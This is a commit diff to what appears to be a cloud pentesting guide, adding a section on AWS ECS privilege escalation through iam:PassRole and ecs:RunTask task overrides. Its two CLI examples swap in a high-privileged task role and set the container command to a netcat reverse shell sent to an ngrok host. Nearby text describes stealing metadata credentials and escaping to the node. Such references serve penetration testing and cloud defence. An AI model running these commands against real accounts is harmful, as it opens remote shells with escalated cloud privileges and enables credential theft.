Added a separate section about the ecs run-task privesc method, since it was only briefly mentioned in the iam:PassRole, (ecs:UpdateService|ecs:CreateService) section

This commit is contained in:
Fake1Sback
2025-08-30 18:52:59 +03:00
parent d1f95b1929
commit 599d45c50a

View File

@@ -79,6 +79,56 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
**Potential Impact:** Direct privesc to a different ECS role.
### `iam:PassRole`,`ecs:RunTask`
An attacker that has `iam:PassRole` and `ecs:RunTask` permissions can start a new ECS task with modified **execution role**, **task role** and container's **command** values. The `ecs run-task` CLI command contains the `--overrides` flag which allows changing at runtime the `executionRoleArn`, `taskRoleArn` and container's `command` without touching the task definition.
The specified IAM roles for `taskRoleArn` and `executionRoleArn` must trust/allow to be assumed by the `ecs-tasks.amazonaws.com` in its trust policy.
Also, the attacker needs to know:
- ECS cluster name
- VPC Subnet
- Security group (If no security group is specified the default one will be used)
- Task Definition Name and revision
- Name of the Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
In the code snippet above an attacker overrides only `taskRoleArn` value. However, the attacker must have `iam:PassRole` permission over the `taskRoleArn` specified in the command and the `executionRoleArn` specified in the task definition for the attack to happen.
If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) then the attacker can specify the same IAM role for both `executionRoleArn` and `taskRoleArn` in the `ecs run-task` command.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
```
**Potential Impact:** Direct privesc to any ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.\
@@ -149,7 +199,7 @@ aws ecs run-task \
This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).
You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](../Job/aws-ecs-privesc.md#privesc-to-node)).
> [!WARNING]
> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.